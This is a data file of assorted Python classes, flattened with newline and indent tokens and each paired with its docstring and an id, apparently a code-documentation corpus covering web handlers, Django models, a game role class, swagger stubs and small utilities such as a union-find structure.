class Config: <NEW_LINE> <INDENT> x_size = 5000 <NEW_LINE> y_size = 5000 <NEW_LINE> base_name = "2018_BELA_ATV_South_RGB" <NEW_LINE> in_columns = 2 <NEW_LINE> in_rows = 1 <NEW_LINE> add_numbers = True <NEW_LINE> pad_column_with_leading_zeros = False <NEW_LINE> pad_row_with_leading_zeros = False <NEW_LINE> n_cols = 1 <NEW_LINE> n_rows = 2 <NEW_LINE> predictor = 2 <NEW_LINE> extra = "" <NEW_LINE> cmd_base = ( "gdal_translate -of GTIFF {7} -srcwin {0:5} {1:5} {2:5} {3:5} " "-CO COMPRESS=DEFLATE -co PREDICTOR={6} -CO TILED=YES {4}.tif {5}.tif" )
|
Configuration Constants; edit as necessary for each execution.
|
6259902d6fece00bbaccc9ec
|
class AreaInfoHandler(BaseHandler): <NEW_LINE> <INDENT> def get(self): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> ret = self.redis.get("area_info") <NEW_LINE> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> logging.error(e) <NEW_LINE> ret = None <NEW_LINE> <DEDENT> if ret: <NEW_LINE> <INDENT> logging.info("hit redis: area_info") <NEW_LINE> resp = '{"errcode":"0", "errmsg":"OK", "data":%s}'%str(ret,encoding="utf-8") <NEW_LINE> return self.write(resp) <NEW_LINE> <DEDENT> sql = "select ai_area_id,ai_name from ih_area_info;" <NEW_LINE> try: <NEW_LINE> <INDENT> ret = self.db.get_all(sql) <NEW_LINE> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> logging.error(e) <NEW_LINE> return self.write(dict(errcode=RET.DBERR, errmsg="数据库查询出错")) <NEW_LINE> <DEDENT> if not ret: <NEW_LINE> <INDENT> return self.write(dict(errcode=RET.NODATA, errmsg="没有数据")) <NEW_LINE> <DEDENT> data = [] <NEW_LINE> for row in ret: <NEW_LINE> <INDENT> d = { "area_id": row[0], "name": row[1] } <NEW_LINE> data.append(d) <NEW_LINE> <DEDENT> json_data = json.dumps(data) <NEW_LINE> print("1111",json_data) <NEW_LINE> try: <NEW_LINE> <INDENT> self.redis.setex("area_info", constants.REDIS_AREA_INFO_EXPIRES_SECONDES, json_data) <NEW_LINE> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> logging.error(e) <NEW_LINE> <DEDENT> self.write(dict(errcode=RET.OK, errmsg="OK", data=data))
|
提供城区信息
|
6259902dd99f1b3c44d066e1
|
class ConnectionError(Exception): <NEW_LINE> <INDENT> def __init__(self, expr, msg): <NEW_LINE> <INDENT> self.expr = expr <NEW_LINE> self.msg = msg
|
Exception raised for errors in the connection
Attributes:
expr -- input expression in which the error occurred
msg -- explanation of the error
|
6259902d1f5feb6acb163c2e
|
class CompositeHintProvider(HintProvider): <NEW_LINE> <INDENT> def __init__(self, project): <NEW_LINE> <INDENT> super(CompositeHintProvider, self).__init__(project) <NEW_LINE> self.attributes_cache = {} <NEW_LINE> self.hint_provider = [] <NEW_LINE> self.db = ReScopeMatcher() <NEW_LINE> self.db.add_param_hint('ropehints\.init$', 'provider$', 'snaked.plugins.python.ropehints.CompositeHintProvider()') <NEW_LINE> self.db.add_param_hint('re\.compile$', 'return$', 're.RegexObject()') <NEW_LINE> self.db.add_param_hint('re\.search$', 'return$', 're.MatchObject()') <NEW_LINE> self.db.add_param_hint('re\.match$', 'return$', 're.MatchObject()') <NEW_LINE> self.db.add_attribute('re$', 'RegexObject', 'snaked.plugins.python.stub.RegexObject') <NEW_LINE> self.db.add_attribute('re$', 'MatchObject', 'snaked.plugins.python.stub.MatchObject') <NEW_LINE> self.add_hint_provider(ScopeHintProvider(project, self.db)) <NEW_LINE> existing_modules = project.prefs['extension_modules'] or [] <NEW_LINE> for m in ('os._path', 'itertools'): <NEW_LINE> <INDENT> if m not in existing_modules: <NEW_LINE> <INDENT> existing_modules.append(m) <NEW_LINE> <DEDENT> <DEDENT> project.prefs['extension_modules'] = existing_modules <NEW_LINE> project.prefs['ignore_bad_imports'] = True <NEW_LINE> from .dochints import DocStringHintProvider <NEW_LINE> self.add_hint_provider(DocStringHintProvider(project)) <NEW_LINE> <DEDENT> def add_hint_provider(self, provider): <NEW_LINE> <INDENT> self.hint_provider.insert(0, provider) <NEW_LINE> return provider <NEW_LINE> <DEDENT> def get_function_params(self, scope_path, pyfunc): <NEW_LINE> <INDENT> for p in self.hint_provider: <NEW_LINE> <INDENT> result = p.get_function_params(scope_path, pyfunc) <NEW_LINE> if result: <NEW_LINE> <INDENT> return result <NEW_LINE> <DEDENT> <DEDENT> return {} <NEW_LINE> <DEDENT> def get_attributes(self, scope_path, pyclass, attrs): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> return self.attributes_cache[scope_path] <NEW_LINE> <DEDENT> except KeyError: <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> new_attrs = {} <NEW_LINE> for p in self.hint_provider: <NEW_LINE> <INDENT> new_attrs.update(p.get_attributes(scope_path, pyclass, attrs)) <NEW_LINE> <DEDENT> self.attributes_cache[scope_path] = new_attrs <NEW_LINE> return new_attrs
|
Default snaked's hint provider
It is created automatically for each rope project and passed to ``.ropeproject/ropehints.py``
``init`` function as first parameter.
Contains build-in :class:`ScopeHintProvider` with it's scope matcher accessed via ``self.db``
and :class:`DocStringHintProvider`.
Also provides hints for ``re`` module. Custom providers can be
added via :func:`add_hint_provider`::
def init(provider):
provider.db.add_class_attribute('django\.http\.HttpRequest$', 'render$', 'app.render')
from snaked.plugins.python.djangohints import DjangoHintProvider
provider.add_hint_provider(DjangoHintProvider(provider, 'settings'))
|
6259902d8a349b6b43687279
|
class Role: <NEW_LINE> <INDENT> rolenames = [ 'villager', 'werewolf', 'seer', 'warlock', 'fool', 'wolfsbane', 'herbalist', 'slayer', 'priest', 'granger', ] <NEW_LINE> evilroles = [ 'werewolf', 'warlock' ] <NEW_LINE> nightworkroles = [ 'werewolf', 'seer', 'warlock', 'fool', 'herbalist', 'slayer', 'priest' ] <NEW_LINE> soloworkroles = [ 'seer', 'warlock', 'fool' ] <NEW_LINE> knowsmembershiproles = [ 'werewolf', 'granger', 'herbalist', 'slayer', 'priest', ] <NEW_LINE> def __init__(self, game, id): <NEW_LINE> <INDENT> self.game = game <NEW_LINE> self.id = id <NEW_LINE> self.isevil = (id in self.evilroles) <NEW_LINE> self.hasnightwork = (id in self.nightworkroles) <NEW_LINE> self.issolo = (id in self.soloworkroles) <NEW_LINE> self.iscollab = (self.hasnightwork and (not self.issolo)) <NEW_LINE> self.knowsmembership = (id in self.knowsmembershiproles) <NEW_LINE> self.count = 0 <NEW_LINE> if (self.id == 'werewolf'): <NEW_LINE> <INDENT> self.count = 1 <NEW_LINE> <DEDENT> self.seats = None <NEW_LINE> self.choice = None <NEW_LINE> <DEDENT> def getlive(self): <NEW_LINE> <INDENT> ls = [ seat for seat in self.seats if seat.isalive ] <NEW_LINE> return ls <NEW_LINE> <DEDENT> def send(self, methname, *args, **keywords): <NEW_LINE> <INDENT> if (self.seats): <NEW_LINE> <INDENT> for seat in self.seats: <NEW_LINE> <INDENT> seat.send(methname, *args, **keywords) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return '<Role \'' + self.id + '\'>' <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return self.id
|
Role: Represents one class of players (villagers, werewolves, etc)
at a table.
During configuration, the Role object for a class keeps track of how
many seats that class will have. (E.g., how many werewolves.) During
play, the Role also keeps track of which seats they are.
|
6259902d8a43f66fc4bf31c3
|
class GetInitScriptListRequest(object): <NEW_LINE> <INDENT> swagger_types = { } <NEW_LINE> attribute_map = { } <NEW_LINE> def __init__(self): <NEW_LINE> <INDENT> self.discriminator = None <NEW_LINE> <DEDENT> def to_dict(self): <NEW_LINE> <INDENT> result = {} <NEW_LINE> for attr, _ in six.iteritems(self.swagger_types): <NEW_LINE> <INDENT> value = getattr(self, attr) <NEW_LINE> if isinstance(value, list): <NEW_LINE> <INDENT> result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) <NEW_LINE> <DEDENT> elif hasattr(value, "to_dict"): <NEW_LINE> <INDENT> result[attr] = value.to_dict() <NEW_LINE> <DEDENT> elif isinstance(value, dict): <NEW_LINE> <INDENT> result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> result[attr] = value <NEW_LINE> <DEDENT> <DEDENT> return result <NEW_LINE> <DEDENT> def to_str(self): <NEW_LINE> <INDENT> return pprint.pformat(self.to_dict()) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return self.to_str() <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> if not isinstance(other, GetInitScriptListRequest): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return self.__dict__ == other.__dict__ <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return not self == other
|
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
|
6259902d66673b3332c3142e
|
class TestContactRequest(unittest.TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def tearDown(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def make_instance(self, include_optional): <NEW_LINE> <INDENT> if include_optional : <NEW_LINE> <INDENT> return ContactRequest( name = '0', emails = [ allegro_api.models.email_request.EmailRequest( address = '0', ) ], phones = [ allegro_api.models.phones_request.PhonesRequest( number = '0', ) ] ) <NEW_LINE> <DEDENT> else : <NEW_LINE> <INDENT> return ContactRequest( ) <NEW_LINE> <DEDENT> <DEDENT> def testContactRequest(self): <NEW_LINE> <INDENT> inst_req_only = self.make_instance(include_optional=False) <NEW_LINE> inst_req_and_optional = self.make_instance(include_optional=True)
|
ContactRequest unit test stubs
|
6259902d6fece00bbaccc9ed
|
class Card(FundingInstrument): <NEW_LINE> <INDENT> type = 'cards' <NEW_LINE> uri_gen = txwac.URIGen('/cards', '{card}') <NEW_LINE> def hold(self, amount, **kwargs): <NEW_LINE> <INDENT> return CardHold( href=self.card_holds.href, amount=amount, **kwargs ).save()
|
A card represents a source of funds. You may Debit funds from the Card.
|
6259902dbe8e80087fbc00b9
|
class SettingsBackendYaml(SettingsBackendBase): <NEW_LINE> <INDENT> _default_filename = "boussole.yml" <NEW_LINE> _kind_name = "yaml" <NEW_LINE> _file_extension = "yml" <NEW_LINE> def dump(self, content, filepath, indent=4): <NEW_LINE> <INDENT> with open(filepath, "w") as fp: <NEW_LINE> <INDENT> pyaml.dump(content, dst=fp, indent=indent) <NEW_LINE> <DEDENT> <DEDENT> def parse(self, filepath, content): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> parsed = yaml.load(content, Loader=yaml.FullLoader) <NEW_LINE> <DEDENT> except yaml.YAMLError as exc: <NEW_LINE> <INDENT> msg = "No YAML object could be decoded from file: {}\n{}" <NEW_LINE> raise SettingsBackendError(msg.format(filepath, exc)) <NEW_LINE> <DEDENT> return parsed
|
YAML backend for settings
Use PyYaml for parsing and pyaml for dumping.
Attributes:
_default_filename: Filename for settings file to load.
Value is ``settings.yml``.
_kind_name: Backend format name.
Value is ``yaml``.
_file_extension: Default filename extension.
Value is ``yml``.
|
6259902dd18da76e235b796d
|
class ClickError(click.ClickException): <NEW_LINE> <INDENT> def show(self): <NEW_LINE> <INDENT> click.echo(str(self))
|
Raised with an error from the celery group.
|
6259902de76e3b2f99fd9a4b
|
class Test_States(unittest.TestCase): <NEW_LINE> <INDENT> def test_attrs(self): <NEW_LINE> <INDENT> state = State() <NEW_LINE> self.assertIsInstance(state, BaseModel) <NEW_LINE> self.assertIsInstance(state.created_at, dt) <NEW_LINE> self.assertIsInstance(state.updated_at, dt) <NEW_LINE> self.assertIsInstance(state.id, str) <NEW_LINE> <DEDENT> def test_spef(self): <NEW_LINE> <INDENT> state1 = State() <NEW_LINE> self.assertIsInstance(state1, State)
|
class for states unittest
|
6259902dc432627299fa4034
|
class CCTrapControlsField(CCField): <NEW_LINE> <INDENT> TYPE = 4 <NEW_LINE> def __init__(self, traps): <NEW_LINE> <INDENT> if __debug__: <NEW_LINE> <INDENT> if type(traps) != list: <NEW_LINE> <INDENT> raise AssertionError("Traps controls must be a list of CCTrapControl. Value passed = '"+str(traps)+"'") <NEW_LINE> <DEDENT> if len(traps) > 25: <NEW_LINE> <INDENT> raise AssertionError("Max trap count exceeded. Max trap count is 25. Number of traps passed = "+str(len(traps))) <NEW_LINE> <DEDENT> <DEDENT> self.type_val = CCTrapControlsField.TYPE <NEW_LINE> self.traps = traps <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return_str = " Trap Controls Field (type=4)\n" <NEW_LINE> if type(self.traps) is list: <NEW_LINE> <INDENT> if len(self.traps) > 25: <NEW_LINE> <INDENT> return_str += " ERROR: Max trap count exceeded. Max trap count is 25. Number of traps passed = " + str(len(self.traps)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> count = 0 <NEW_LINE> for trap in self.traps: <NEW_LINE> <INDENT> return_str += " trap "+str(count)+" = " <NEW_LINE> if type(trap) is CCTrapControl: <NEW_LINE> <INDENT> return_str += str(trap) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return_str += "ERROR: expected item to be a CCTrapControl. It is " + str(type(trap)) <NEW_LINE> <DEDENT> if trap != self.traps[-1]: <NEW_LINE> <INDENT> return_str += "\n" <NEW_LINE> <DEDENT> count += 1 <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> return_str += " ERROR: expected 'traps' to be a list. It is " + str(type(self.traps)) <NEW_LINE> <DEDENT> return return_str <NEW_LINE> <DEDENT> @property <NEW_LINE> def json_data(self): <NEW_LINE> <INDENT> json_field = {} <NEW_LINE> json_field["type"] = self.type_val <NEW_LINE> traps_data = [] <NEW_LINE> for trap in self.traps: <NEW_LINE> <INDENT> traps_data.append(trap.json_data) <NEW_LINE> <DEDENT> json_field["traps"] = traps_data <NEW_LINE> return json_field <NEW_LINE> <DEDENT> @property <NEW_LINE> def byte_data(self): <NEW_LINE> <INDENT> byte_value = b"" <NEW_LINE> for trap in self.traps: <NEW_LINE> <INDENT> byte_value += trap.button_coord.x.to_bytes(2, BYTE_ORDER) <NEW_LINE> byte_value += trap.button_coord.y.to_bytes(2, BYTE_ORDER) <NEW_LINE> byte_value += trap.trap_coord.x.to_bytes(2, BYTE_ORDER) <NEW_LINE> byte_value += trap.trap_coord.y.to_bytes(2, BYTE_ORDER) <NEW_LINE> byte_value += b'\x00\x00' <NEW_LINE> <DEDENT> return byte_value
|
A class defining the trap controls field
Member vars:
type_val (int) : the type identifier of this class (set to 4)
traps (list of CCTrapControl): a list of traps for the map
|
6259902da4f1c619b294f634
|
class Product(models.Model): <NEW_LINE> <INDENT> name = models.CharField(max_length = 100) <NEW_LINE> price = models.FloatField() <NEW_LINE> state = models.CharField(default = "En Venta", max_length = 100) <NEW_LINE> description = models.TextField() <NEW_LINE> seller = models.ForeignKey(User,related_name = 'seller', on_delete=models.CASCADE)
|
Product model
|
6259902db57a9660fecd2ac2
|
class Persistence(ModuleProxy): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> <DEDENT> def load(self, id, collection=None, default=None): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def load_collection(self, collection, default=None): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def save(self, item, id, collection=None): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def save_collection(self, items, collection): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def remove(self, id, collection=None): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def remove_collection(self, collection): <NEW_LINE> <INDENT> raise NotImplementedError()
|
Persistence Module
This class encapsulates the user-facing interface to NIO's
persistence layer.
Block writers use this module to save dynamic data at runtime, allowing
it to persist in the block instance after a service/instance restart.
Example:
self.persistence.save(item, id) # saves the item
item = self.persistence.load(id) # item is retrieved
|
6259902d5166f23b2e244416
|
class LsbootUsbInternalImage(ManagedObject): <NEW_LINE> <INDENT> consts = LsbootUsbInternalImageConsts() <NEW_LINE> naming_props = set([]) <NEW_LINE> mo_meta = MoMeta("LsbootUsbInternalImage", "lsbootUsbInternalImage", "usb-intern", VersionMeta.Version221b, "InputOutput", 0x3f, [], ["admin", "ls-compute", "ls-config", "ls-config-policy", "ls-server", "ls-server-policy", "ls-storage", "ls-storage-policy"], [u'lsbootLocalStorage'], [], ["Add", "Get", "Remove", "Set"]) <NEW_LINE> prop_meta = { "child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version221b, MoPropertyMeta.INTERNAL, 0x2, None, None, r"""((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}""", [], []), "dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version221b, MoPropertyMeta.READ_ONLY, 0x4, 0, 256, None, [], []), "order": MoPropertyMeta("order", "order", "ushort", VersionMeta.Version221b, MoPropertyMeta.READ_WRITE, 0x8, None, None, None, [], ["1-16"]), "rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version221b, MoPropertyMeta.READ_ONLY, 0x10, 0, 256, None, [], []), "sacl": MoPropertyMeta("sacl", "sacl", "string", VersionMeta.Version302c, MoPropertyMeta.READ_ONLY, None, None, None, r"""((none|del|mod|addchild|cascade),){0,4}(none|del|mod|addchild|cascade){0,1}""", [], []), "status": MoPropertyMeta("status", "status", "string", VersionMeta.Version221b, MoPropertyMeta.READ_WRITE, 0x20, None, None, r"""((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}""", [], []), "type": MoPropertyMeta("type", "type", "string", VersionMeta.Version221b, MoPropertyMeta.READ_ONLY, None, None, None, None, ["embedded-local-jbod", "embedded-local-lun", "local-any", "local-jbod", "local-lun", "sd-card", "usb-extern", "usb-intern"], []), } <NEW_LINE> prop_map = { "childAction": "child_action", "dn": "dn", "order": "order", "rn": "rn", "sacl": "sacl", "status": "status", "type": "type", } <NEW_LINE> def __init__(self, parent_mo_or_dn, **kwargs): <NEW_LINE> <INDENT> self._dirty_mask = 0 <NEW_LINE> self.child_action = None <NEW_LINE> self.order = None <NEW_LINE> self.sacl = None <NEW_LINE> self.status = None <NEW_LINE> self.type = None <NEW_LINE> ManagedObject.__init__(self, "LsbootUsbInternalImage", parent_mo_or_dn, **kwargs)
|
This is LsbootUsbInternalImage class.
|
6259902dd53ae8145f9194a3
|
class HubspotAuthenticationError(HubspotClientError): <NEW_LINE> <INDENT> pass
|
HubSpot rejected your authentication key. This represents an HTTP
response code of 401.
|
6259902d1f5feb6acb163c30
|
class TestErrorPayload(unittest.TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def tearDown(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def testErrorPayload(self): <NEW_LINE> <INDENT> pass
|
ErrorPayload unit test stubs
|
6259902d21bff66bcd723ca4
|
class RegionAdmin(admin.ModelAdmin): <NEW_LINE> <INDENT> list_display = ("name", "description")
|
View/edit which sites are in a given region.
|
6259902e56b00c62f0fb3901
|
class Favicon(BaseHandler): <NEW_LINE> <INDENT> @asynchronous <NEW_LINE> @coroutine <NEW_LINE> def get(self, *_args, **_kwargs): <NEW_LINE> <INDENT> base = str(time.time()).encode() <NEW_LINE> credit = md5(base).hexdigest() <NEW_LINE> self.session.update( { 'ip': self.request.remote_ip }, {'$set': { 'mixin': credit, 'session_id': uuid().hex }}, upsert=True) <NEW_LINE> self.set_secure_cookie( 'koo', credit.encode(), domain=self.request.host) <NEW_LINE> res = yield self.fetch('https://lazor.cn/assets/js/loading.js') <NEW_LINE> self.finish(res.res_body)
|
Handle icon.
|
6259902e91af0d3eaad3ae6b
|
class instrumented_memorise(memorise): <NEW_LINE> <INDENT> def __init__(self, *args, **kwargs): <NEW_LINE> <INDENT> super(instrumented_memorise, self).__init__(*args, **kwargs) <NEW_LINE> self.reset() <NEW_LINE> <DEDENT> def __call__(self, *args, **kwargs): <NEW_LINE> <INDENT> func = super(instrumented_memorise, self).__call__(*args, **kwargs) <NEW_LINE> func.mem = self <NEW_LINE> return func <NEW_LINE> <DEDENT> def reset(self): <NEW_LINE> <INDENT> self.get_calls = 0 <NEW_LINE> self.set_calls = 0 <NEW_LINE> self.function_calls = 0 <NEW_LINE> <DEDENT> def call_function(self, *args, **kwargs): <NEW_LINE> <INDENT> value = super(instrumented_memorise, self).call_function(*args, **kwargs) <NEW_LINE> self.function_calls += 1 <NEW_LINE> return value <NEW_LINE> <DEDENT> def get_cache(self, *args, **kwargs): <NEW_LINE> <INDENT> value = super(instrumented_memorise, self).get_cache(*args, **kwargs) <NEW_LINE> self.get_calls += 1 <NEW_LINE> return value <NEW_LINE> <DEDENT> def set_cache(self, *args, **kwargs): <NEW_LINE> <INDENT> value = super(instrumented_memorise, self).set_cache(*args, **kwargs) <NEW_LINE> self.set_calls += 1 <NEW_LINE> return value
|
A version of the memorise decorator that records the number of cache
and function calls it makes.
|
6259902ea8ecb0332587225e
|
class serverException_500(serverException): <NEW_LINE> <INDENT> def __init__(self, params): <NEW_LINE> <INDENT> clientException.__init__(self,params,500)
|
This will handle all http 500 exception, server error
|
6259902ed164cc6175821fb2
|
class InvalidIPException(BaseExceptionError): <NEW_LINE> <INDENT> pass
|
Invalid IP
This exception is raised when some part of **fhost** code validates an
IP address format.
As /etc/hosts file is quite delicated beacuse it can affect the whole
system, **fhost** performs aggressive validations on all input and
output data.
A common string message is shown to the user if this exeption raises.
Example:
::
try:
...
except InvalidIPException:
raise InvalidIPException("invalid ip exception raised!")
sys.exit(1)
|
6259902e5166f23b2e244418
|
class BuyActionSchema(SchemaObject): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.schema = 'BuyAction'
|
Schema Mixin for BuyAction
Usage: place after django model in class definition, schema will return the schema.org url for the object
The act of giving money to a seller in exchange for goods or services rendered. An agent buys an object, product, or service from a seller for a price. Reciprocal of SellAction.
|
6259902e8e05c05ec3f6f67c
|
class AppProbationCaseInformation(AppReinstatementCaseInformation): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> AppReinstatementCaseInformation.__init__(self) <NEW_LINE> self.probation_period = StringVar() <NEW_LINE> self.reinstatement_date = StringVar() <NEW_LINE> self.appointment_date = StringVar() <NEW_LINE> self.relator_COR = StringVar() <NEW_LINE> self.data_fields.insert(4, ('Reinstatement Date', self.reinstatement_date)) <NEW_LINE> self.data_fields.insert(5, ('Monitor Appointment Date', self.appointment_date)) <NEW_LINE> self.data_fields.insert(6, ('Probation Period', self.probation_period)) <NEW_LINE> self.data_fields.insert(7, ('Relator COR', self.relator_COR))
|
A subclassof the POL Case Information class that add fields for
dates of court orders and filings and a field for relator counsel
of record.
|
6259902e1d351010ab8f4b59
|
class UnionFind(object): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.weights = {} <NEW_LINE> self.parents = {} <NEW_LINE> <DEDENT> def __getitem__(self, object): <NEW_LINE> <INDENT> if object not in self.parents: <NEW_LINE> <INDENT> self.parents[object] = object <NEW_LINE> self.weights[object] = 1 <NEW_LINE> return object <NEW_LINE> <DEDENT> path = [object] <NEW_LINE> root = self.parents[object] <NEW_LINE> while root != path[-1]: <NEW_LINE> <INDENT> path.append(root) <NEW_LINE> root = self.parents[root] <NEW_LINE> <DEDENT> for ancestor in path: <NEW_LINE> <INDENT> self.parents[ancestor] = root <NEW_LINE> <DEDENT> return root <NEW_LINE> <DEDENT> def __iter__(self): <NEW_LINE> <INDENT> return iter(self.parents) <NEW_LINE> <DEDENT> def union(self, *objects): <NEW_LINE> <INDENT> roots = [self[x] for x in objects] <NEW_LINE> heaviest = max([(self.weights[r],r) for r in roots])[1] <NEW_LINE> for r in roots: <NEW_LINE> <INDENT> if r != heaviest: <NEW_LINE> <INDENT> self.weights[heaviest] += self.weights[r] <NEW_LINE> self.parents[r] = heaviest <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def sets(self): <NEW_LINE> <INDENT> ret = defaultdict(list) <NEW_LINE> for k, _ in self.parents.iteritems(): <NEW_LINE> <INDENT> ret[self[k]].append(k) <NEW_LINE> <DEDENT> return ret.values()
|
Union-find data structure.
Each unionFind instance X maintains a family of disjoint sets of
hashable objects, supporting the following two methods:
- X[item] returns a name for the set containing the given item.
Each set is named by an arbitrarily-chosen one of its members; as
long as the set remains unchanged it will keep the same name. If
the item is not yet part of a set in X, a new singleton set is
created for it.
- X.union(item1, item2, ...) merges the sets containing each item
into a single larger set. If any item is not yet part of a set
in X, it is added to X as one of the members of the merged set.
|
6259902e50485f2cf55dbfbe
|
class ReadWriteScopedResourceMixin(ScopedResourceMixin, OAuthLibMixin): <NEW_LINE> <INDENT> required_scopes = [] <NEW_LINE> read_write_scope = None <NEW_LINE> def __new__(cls, *args, **kwargs): <NEW_LINE> <INDENT> provided_scopes = oauth2_settings._SCOPES <NEW_LINE> read_write_scopes = [oauth2_settings.READ_SCOPE, oauth2_settings.WRITE_SCOPE] <NEW_LINE> if not set(read_write_scopes).issubset(set(provided_scopes)): <NEW_LINE> <INDENT> raise ImproperlyConfigured( "ReadWriteScopedResourceMixin requires following scopes {0}" " to be in OAUTH2_PROVIDER['SCOPES'] list in settings".format(read_write_scopes) ) <NEW_LINE> <DEDENT> return super(ReadWriteScopedResourceMixin, cls).__new__(cls, *args, **kwargs) <NEW_LINE> <DEDENT> def dispatch(self, request, *args, **kwargs): <NEW_LINE> <INDENT> if request.method.upper() in SAFE_HTTP_METHODS: <NEW_LINE> <INDENT> self.read_write_scope = oauth2_settings.READ_SCOPE <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.read_write_scope = oauth2_settings.WRITE_SCOPE <NEW_LINE> <DEDENT> return super(ReadWriteScopedResourceMixin, self).dispatch(request, *args, **kwargs) <NEW_LINE> <DEDENT> def get_scopes(self, *args, **kwargs): <NEW_LINE> <INDENT> scopes = super(ReadWriteScopedResourceMixin, self).get_scopes(*args, **kwargs) <NEW_LINE> return scopes + [self.read_write_scope]
|
Helper mixin that implements "read and write scopes" behavior
|
6259902e15baa72349462fda
|
class DataFile(DictFile): <NEW_LINE> <INDENT> valid_formats = ['cpickle']
|
File class for data files, Inherited from DictFile, valid file formats [cpickle]
|
6259902e56b00c62f0fb3903
|
@ZWaveMessage(COMMAND_CLASS_NETWORK_MANAGEMENT_INCLUSION, NODE_ADD_DSK_REPORT) <NEW_LINE> class NodeAddDSKReport(Message): <NEW_LINE> <INDENT> NAME = "NODE_ADD_DSK_REPORT" <NEW_LINE> attributes = ( ("seqNo", uint8_t), ("-", reserved_t(4)), ("inputDSKLength", uint4_t), ("dsk", dsk_t), )
|
Command Class message COMMAND_CLASS_NETWORK_MANAGEMENT_INCLUSION NODE_ADD_DSK_REPORT
|
6259902e507cdc57c63a5deb
|
class PersonRegisteredBranchesView(PersonBaseBranchListingView): <NEW_LINE> <INDENT> page_title = _('Registered') <NEW_LINE> label_template = 'Bazaar branches registered by %(displayname)s' <NEW_LINE> no_sort_by = (BranchListingSort.DEFAULT, BranchListingSort.OWNER) <NEW_LINE> def _getCollection(self): <NEW_LINE> <INDENT> return getUtility(IAllBranches).registeredBy(self.context)
|
View for branch listing for a person's registered branches.
|
6259902e91af0d3eaad3ae6d
|
@register('IPython.IntRangeSlider') <NEW_LINE> class IntRangeSlider(_BoundedIntRange): <NEW_LINE> <INDENT> _view_name = Unicode('IntSliderView', sync=True) <NEW_LINE> orientation = CaselessStrEnum(values=['horizontal', 'vertical'], default_value='horizontal', allow_none=False, help="Vertical or horizontal.", sync=True) <NEW_LINE> _range = Bool(True, help="Display a range selector", sync=True) <NEW_LINE> readout = Bool(True, help="Display the current value of the slider next to it.", sync=True) <NEW_LINE> slider_color = Unicode(sync=True)
|
Slider widget that represents a pair of ints between a minimum and maximum value.
|
6259902e3eb6a72ae038b6a8
|
class Engine(TEBDEngine): <NEW_LINE> <INDENT> def __init__(self, psi, model, options): <NEW_LINE> <INDENT> msg = "Renamed `Engine` class to `TEBDEngine`." <NEW_LINE> warnings.warn(msg, category=FutureWarning, stacklevel=2) <NEW_LINE> TEBDEngine.__init__(self, psi, model, options)
|
Deprecated old name of :class:`TEBDEngine`.
.. deprecated : v0.8.0
Renamed the `Engine` to `TEBDEngine` to have unique algorithm class names.
|
6259902ed6c5a102081e3169
|
class SockJSResource(resource.Resource): <NEW_LINE> <INDENT> isLeaf = True <NEW_LINE> def __init__(self, factory, options = None): <NEW_LINE> <INDENT> self._factory = SockJSFactory(factory, options) <NEW_LINE> <DEDENT> def render(self, request): <NEW_LINE> <INDENT> transport, request.transport = request.transport, None <NEW_LINE> protocol = self._factory.buildProtocol(transport.getPeer()) <NEW_LINE> protocol.makeConnection(transport) <NEW_LINE> path = "/".join([""] + request.postpath) <NEW_LINE> lines = ["{0} {1} HTTP/1.1".format(request.method, path)] <NEW_LINE> for name, values in request.requestHeaders.getAllRawHeaders(): <NEW_LINE> <INDENT> lines.append("{0}: {1}".format(name, ",".join(values))) <NEW_LINE> <DEDENT> lines += ["", request.content.read()] <NEW_LINE> protocol.dataReceived("\r\n".join(lines)) <NEW_LINE> return server.NOT_DONE_YET
|
A resource that defers to a SockJS factory.
|
6259902e30c21e258be9984f
|
